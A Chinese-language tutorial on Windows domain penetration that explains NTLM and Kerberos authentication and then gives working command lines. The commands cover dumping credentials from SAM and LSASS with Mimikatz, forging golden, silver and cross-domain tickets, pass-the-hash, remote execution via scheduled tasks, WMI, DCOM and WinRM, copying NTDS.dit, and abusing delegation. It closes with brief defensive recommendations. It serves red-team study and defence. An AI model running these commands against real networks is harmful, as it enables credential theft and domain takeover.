从域认证协议以及密码凭据机制的角度来看内网渗透
字数 2442 2025-08-29 08:30:12
内网渗透:域认证协议与密码凭据机制深度解析
一、Windows密码抓取技术
1.1 主机登录验证机制
Windows系统使用两种哈希算法存储密码凭证:
- LM Hash:较老的DES加密算法
- 将密码转换为大写并补全至14字节
- 分为两组7字节,每组转换为28bit后扩展为32bit
- 使用魔术字符串"KGS!@#$%"作为DES密钥加密
- NTLM Hash:更安全的MD4加密算法
- 将密码转换为Unicode格式(每个字节后加0x00)
- 进行MD4加密生成哈希值
密码凭证存储在:
- SAM文件:
%SystemRoot%\system32\config\目录下 - LSASS进程:处理用户认证,可能缓存明文密码
1.2 密码抓取技术
1.2.1 SAM文件抓取
- 导出SAM和SYSTEM文件:
reg save hklm\sam sam.hive reg save hklm\system system.hive - 使用工具读取:
- Mimikatz:
lsadump::sam /sam:sam.hive /system:system.hive - Pwdump7:获取所有账户NTLM哈希
- Hashcat:破解NTLM哈希
- Mimikatz:
1.2.2 LSASS进程抓取
- 在线读取:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" mimikatz.exe "sekurlsa::logonPasswords" - 离线读取:
- 导出lsass.dmp文件
- 使用Mimikatz解析:
sekurlsa::minidump lsass.dmp
1.2.3 Windows 2012 R2之后的变化
默认不缓存明文密码,可通过修改注册表启用:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
1.3 其他凭证抓取
- RDP凭证:解密存储在
%userprofile%\appdata\local\microsoft\credentials\下的凭证文件 - 浏览器密码:使用BrowserGhost、Sharp-HackBrowserData等工具
- 数据库密码:使用SharpDecryptPwd等工具
二、主机间认证协议
2.1 NTLM协议(挑战/响应机制)
- 客户端发送用户名到服务器
- 服务器生成16位随机Challenge,用用户NTLM Hash加密生成Challenge1
- 服务器发送Challenge给客户端
- 客户端用用户NTLM Hash加密Challenge生成Response返回
- 服务器比较Response和Challenge1
2.2 Kerberos协议(域认证)
2.2.1 核心组件
- AS(认证服务器):发放TGT(票据授予票据)
- TGS(票据授予服务器):发放ST(服务票据)
- KDC(密钥分发中心):包含AS和TGS
2.2.2 认证流程
-
AS-REQ/AS-REP(客户端与AS通信):
- 客户端发送用户名、IP、时间戳
- AS返回:
- TGT(用TGS密钥加密,包含Session_key(CT_SK))
- 客户端密钥加密的内容(包含CT_SK)
-
TGS-REQ/TGS-REP(客户端与TGS通信):
- 客户端发送:
- 用CT_SK加密的客户端信息
- 目标服务名(明文)
- TGT
- TGS返回:
- ST(用服务密钥加密,包含CS_SK)
- 用CT_SK加密的内容(包含CS_SK)
- 客户端发送:
-
AP-REQ/AP-REP(客户端与服务端通信):
- 客户端发送:
- 用CS_SK加密的客户端信息
- ST
- 服务端验证后建立连接
- 客户端发送:
三、票据攻击技术
3.1 黄金票据(Golden Ticket)
原理:伪造TGT,需要krbtgt账户的NTLM Hash
制作条件:
- 域名
- 域SID
- krbtgt账户的NTLM Hash
- 伪造的用户名
步骤:
mimikatz "kerberos::golden /domain:域名 /sid:域SID /krbtgt:krbtgt的NTLM Hash /user:伪造用户名 /ticket:golden.kirbi"
kerberos::ptt golden.kirbi
3.2 白银票据(Silver Ticket)
原理:伪造ST,需要服务账户的NTLM Hash
制作条件:
- 域名
- 域SID
- 目标服务器名
- 服务账号的NTLM Hash
- 伪造的用户名
步骤:
mimikatz "kerberos::golden /domain:域名 /sid:域SID /target:目标服务器 /service:服务类型 /rc4:服务账号NTLM Hash /user:伪造用户名 /ticket:silver.kirbi"
kerberos::ptt silver.kirbi
3.3 高级票据技术
- 钻石票据:修改真实TGT的PAC,需要krbtgt的AES256密钥
- 蓝宝石票据:使用Kerberos委派获取高权限用户的PAC替换原始PAC
四、内网横向移动技术
4.1 凭证传递攻击
-
Pass the Hash (PTH):
mimikatz "sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM Hash" -
Pass the Key (PTK):
mimikatz "sekurlsa::pth /user:用户名 /domain:域名 /aes256:AES密钥" -
Pass the Ticket (PTT):
mimikatz "sekurlsa::tickets /export" mimikatz "kerberos::ptt 票据文件"
4.2 远程执行技术
-
IPC$配合计划任务:
net use \\目标IP\ipc$ "密码" /user:用户名 copy 恶意文件 \\目标IP\C$ schtasks /create /s 目标IP /tn 任务名 /sc onstart /tr C:\恶意文件 /ru system /f schtasks /run /s 目标IP /tn 任务名 -
WMI远程执行:
wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd.exe /c 命令" -
DCOM远程执行:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","目标IP")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c 命令","Minimzed") -
WinRM远程执行:
winrs -r:http://目标IP:5985 -u:用户名 -p:密码 "命令" -
SMB远程执行:
smbexec 域名/用户名:密码@目标IP smbexec -hashes :NTLM Hash 域名/用户名@目标IP
五、域控安全与跨域攻击
5.1 NTDS.dit文件获取
-
ntdsutil.exe方法:
ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {GUID}" quit quit copy MOUNT_POINT\windows\NTDS\ntds.dit C:\ntds.dit ntdsutil snapshot "unmount {GUID}" quit quit ntdsutil snapshot "delete {GUID}" quit quit -
vssadmin方法:
vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit C:\ntds.dit vssadmin delete shadows /for=C: /quiet
5.2 跨域攻击技术
-
利用域信任关系:
- 查看信任关系:
nltest /domain_trust - 获取信任密钥:
mimikatz "lsadump::trust /patch"
- 查看信任关系:
-
构造跨域黄金票据:
mimikatz "kerberos::golden /domain:子域 /sid:子域SID /sids:父域SID-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:跨域票据.kirbi"
六、域内委派攻击
6.1 非约束委派攻击
利用条件:服务账户配置了非约束委派
攻击步骤:
-
查询非约束委派账户:
AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -
诱导域管访问(如利用打印机漏洞):
SpoolSample.exe 域控 已控机器 -
导出并利用域管TGT
6.2 约束委派攻击
利用条件:服务账户配置了约束委派
攻击步骤:
-
查询约束委派账户:
AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -
获取服务账户NTLM Hash
-
使用kekeo构造票据:
kekeo "tgt::ask /user:服务账户 /domain:域 /password:密码" kekeo "tgs::s4u /tgt:TGT票据 /user:域管@域 /service:目标服务"
6.3 基于资源的约束委派
利用条件:拥有修改服务账户属性的权限
攻击步骤:
- 设置服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性
- 使用S4U2Self和S4U2Proxy协议获取服务票据
七、防御建议
-
密码保护:
- 使用Protected Users安全组
- 定期修改krbtgt账户密码
- 启用LSA保护
-
委派控制:
- 限制非约束委派的使用
- 审核约束委派配置
- 实施基于资源的约束委派
-
监控与检测:
- 监控异常Kerberos票据请求
- 检测异常的横向移动行为
- 审计敏感账户的登录活动
-
补丁管理:
- 及时安装安全补丁(如MS14-068)
- 禁用过时的协议(如LM认证)
-
权限管理:
- 遵循最小权限原则
- 限制本地管理员账户的使用
- 实施特权访问管理(PAM)